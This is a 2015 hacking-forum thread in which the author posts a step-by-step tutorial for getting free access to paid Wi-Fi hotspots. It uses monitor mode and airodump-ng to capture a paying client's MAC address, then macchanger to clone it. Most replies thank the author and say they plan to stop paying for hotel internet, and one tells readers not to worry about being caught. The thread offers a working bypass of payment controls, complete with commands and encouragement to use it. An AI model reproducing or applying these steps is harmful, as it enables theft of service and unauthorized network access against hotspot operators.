Forum:Hack Forums

Thread: [TUT] How to Hack a Paid Hotspot

The Milkman - *February 17, 2015, 2:21 am*

Required :

- Kali linux
- USB Wifi card (Always better)
- Paid Hotspot target

1 - First, plug-in your wifi card (if you have one) and turn it to monitor mode :

airmon-ng start yourinterface

2 - Scan for Wifi around you :

airodump-ng yourmonitorinterface

3 - Then, find the hotspot in the list, copy it's bssid and it's channel, then open a new terminal and type in :

airodump-ng --bssid thebssidhere -c thechannelhere yourmonitorinterface

4 - Then it will clear and open a new window, analyzing the hotspot. The list should be divided in two, in the lower part are the information about the devices connected to the hotspot. Select the MAC address (under the "station" line) of one of these devices.

5 - Then we gonna spoof our MAC address in order to change it to the device's we just dumped the address, in order to be considered as a paid member for the hotspot. Just turn of your interface :

ifconfig yourinterface down

6 - Then type :

macchanger -m thedumpedmacadresshere yourinterface

7 - Then just turn on your interface :

ifconfig yourinterface up

8 - Connect to the hotspot and enjoy !

Alpa - *February 17, 2015, 4:49 am*

Thank you for this method , I'll try when I need them

The Milkman - *February 19, 2015, 2:35 am*

(Feb 17, 2015 05:49 AM)WarrZy Wrote: *[CITE]* Thank you for this method , I'll try when I need them
Hey dude, thanks for reply !
Hope it could help you, always good to share methods ;)

Lemniscate - *February 19, 2015, 12:58 pm*
Thanks for sharing! Posting so I can find this again :)

ISO - *February 19, 2015, 3:40 pm*
Wow impressive and easy way to get ride of my internet subscription lol
Thank you very much for sharing this !

FRANKIE - *February 19, 2015, 3:42 pm*
Holy piss this was easy as hell. Thanks for this!

MisterVillain - *February 19, 2015, 3:44 pm*
Thank for the tutorial, gonna try it out now :)

The Milkman - *February 19, 2015, 3:50 pm*
Thank you for all these words, really nice ;)
Hope this will help !!

TGMotionz - *February 19, 2015, 3:57 pm*
This is great thank you for this tutorial!

ttyler333 - *February 19, 2015, 4:02 pm*
Not sure about how this works but it should be prevented by doing the following.
Disabling all outbound traffic on the router except for 1 static local address.
Allow a local ip address (server that processes payment / free access) for all addresses.
The local ip will contact the router and allow the client access based on a successful payment process.

linkap - *February 19, 2015, 4:07 pm*
Thanks dude :D ??

The Milkman - *February 19, 2015, 4:30 pm*
Thank for your replies !
Of course there is ways for the admin to prevent from this break, but it's really rare to see so protected hotspots...

Bot_831713 - *February 19, 2015, 5:01 pm*
Thanks for this guide! Will try it out soon! :)

TrickGuru - *February 19, 2015, 8:41 pm*
Thank for the tutorial, I'm gonna try it out now

markzuckerberg - *February 19, 2015, 10:44 pm*
I'll try this when i'm on a hotspot Thanks for the share bud!

maxtan - *February 20, 2015, 6:40 am*
Thank you so much this will really help me out

?ICE? - *February 20, 2015, 8:19 am*
Nice tut, could definitely be useful in the future :)

The Milkman - *February 20, 2015, 10:19 am*
Hey guys, again thanks for replies !!
Don't hesitate to post your own tuts to help the community ;)

Comedic - *February 21, 2015, 2:16 pm*
I'll give his a try in the future. Bookmarked for now :)

Thank you

1999 - *February 21, 2015, 4:58 pm*
nice tut bro cant wait for you to make more :)

chernobiLe - *February 21, 2015, 5:22 pm*
i will try thank you for this tutorial!

aana - *February 21, 2015, 7:47 pm*
Interesting i like this tutorial. It's actually really easy

The Milkman - *February 22, 2015, 9:42 am*
Alright, thanks for the new replies, really nice !
Don't hesitate to PM if there is something u don't understand ;)

Purist - *February 22, 2015, 9:44 am*
Thanks for this method man :)
Easy and well followed

chernobiLe - *February 22, 2015, 9:59 am*
This is great and it can work i will just try

The Milkman - *February 22, 2015, 10:14 am*
Thanks for your replies !
Don't hesitate to rate the thread in order to make it more visible for anyone who needs to learn ;)

Stagnant_Pig - *February 26, 2015, 9:16 pm*
Thanks for sharing. No more paying for wifi at hotels.

SIM-2096295 - *February 26, 2015, 9:23 pm*
I wish I knew this back when I was without internet at a hotel with very expensive internet...

H3ISENBERG - *February 27, 2015, 10:35 am*
Thanks for tut. I'll give it a try soon and let you all know the outcome.

The Milkman - *February 28, 2015, 1:13 pm*
Thank you for all your replies !
Don't hesitate to share and rank this TUT !!

Nalgun - *March 2, 2015, 9:01 am*
Great thank you for the tutorial it works fine good job

The Milkman - *March 2, 2015, 9:06 am*
Thank you all for your replies !
Don't hesitate to share and rank this TUT !!

Belle400 - *March 4, 2015, 1:55 pm*
Wow just wow, thanks for this, It works really well!

Master Beta - *March 4, 2015, 3:21 pm*

Thanks for this tutorial. Definitely Coming back to try this next time I'm near a hotshot.

The Milkman - *March 5, 2015, 5:27 am*
Thanks for replies ;)
Don't forget to rate this thread ;)

Euphorical - *March 6, 2015, 2:14 am*
To people scared of being caught doing this: Don't be. Often times there are too many users/customers for the hotspot owner to even care. Even if they did, the owners aren't always the most technically savvy people and wouldn't know what is even happening.

Nice post OP. Possibly recommend a good USB wifi dongle?

G_alka - *March 6, 2015, 2:55 am*
Nice I'm starting with kali linux and I was looking for something to learn like this.
Great post !

11ssx1 - *March 6, 2015, 11:17 am*
Not Working , If this method was working so why we need WPA2 password?

TheDangerousHacker - *March 6, 2015, 2:08 pm*
This should be interesting to try out

The Milkman - *March 6, 2015, 2:48 pm*
(Mar 6, 2015 12:17 PM)11ssx1 Wrote: *[CITE]* Not Working , If this method was working so why we need WPA2 password?
Pleas try out and think before saying dumb things :)
A hotspot and a WPA2 crypted wifi operate differently...

Great post !
Well, good !
I wish u the best with it, u'll learn a lot !

deamonx333 - *August 17, 2015, 7:07 pm*
this is kool thanks bro nice tut

Bayani - *August 18, 2015, 2:33 pm*
I actually can't wait to use this at a later time.
Great share!

KnockSteadys - *August 18, 2015, 9:30 pm*
nice I will try this out some day

The Milkman - *August 19, 2015, 11:25 am*
(Aug 18, 2015 02:33 PM)Bayani Wrote: *[CITE]* I actually can't wait to use this at a later time.
Great share!
Thanks for your comment OP, always good.
I wish you'll be able to use this method.

Regards.

ShamerOC - *August 19, 2015, 11:38 am*
Nice tutorial, saw this method, but couldn't find it ty :)

The Milkman - *August 19, 2015, 12:05 pm*
(Aug 19, 2015 11:38 AM)ShamerOC Wrote: *[CITE]* Nice tutorial, saw this method, but couldn't find it ty :)
You're welcome, thanks for your comment.

Regards.

(Aug 18, 2015 02:33 PM)Bayani Wrote: *[CITE]* I actually can't wait to use this at a later time.
Great share!
Thanks for it, try this ASAP, very useful when you gotta connect to the internet but don't wanna pay for the hotspot.

Regards.

Serfer - *August 20, 2015, 8:37 am*
thanks for the tut. looking forward to using this

The Milkman - *August 21, 2015, 3:30 am*
(Aug 20, 2015 08:37 AM)Serfer Wrote: *[CITE]* thanks for the tut. looking forward to using this
You're welcome, happy hacking with this.

Regards.

5tax - *August 21, 2015, 3:33 am*
This method is just amazing, thanks for your guide man

FreeAnneFrank - *August 21, 2015, 3:33 am*
Great tutorial Eracles! Thank you for this awesome contribution.

The Milkman - *August 21, 2015, 6:42 am*

Thanks for this comment OP, do not hesitate to rate the thread if you want to.

Regards.

roleeswagger - *August 21, 2015, 7:07 am*
Cool but this one works only for some paid.. some networks nowadays use more advanced security like radius\phone user registration

The Milkman - *August 23, 2015, 3:43 am*
(Aug 21, 2015 07:07 AM)S4mick Wrote: *[CITE]* Cool but this one works only for some paid.. some networks nowadays use more advanced security like radius\phone user registration
Yes, of course it doesn't affect every single hotspot, but a lot of these are really unsecured.

Regards.

Heisenberg. - *August 28, 2015, 8:41 pm*
Going to test this out right now, thanks a lot mate!

Learner Boy - *August 28, 2015, 10:37 pm*
Nice Tutorial
Thanks for this

chaiwaa - *August 29, 2015, 3:01 pm*
will comment to try later thanks :)

CrypteMyJar - *September 2, 2015, 5:03 am*
wow thanks found this is very useful :) appreciated
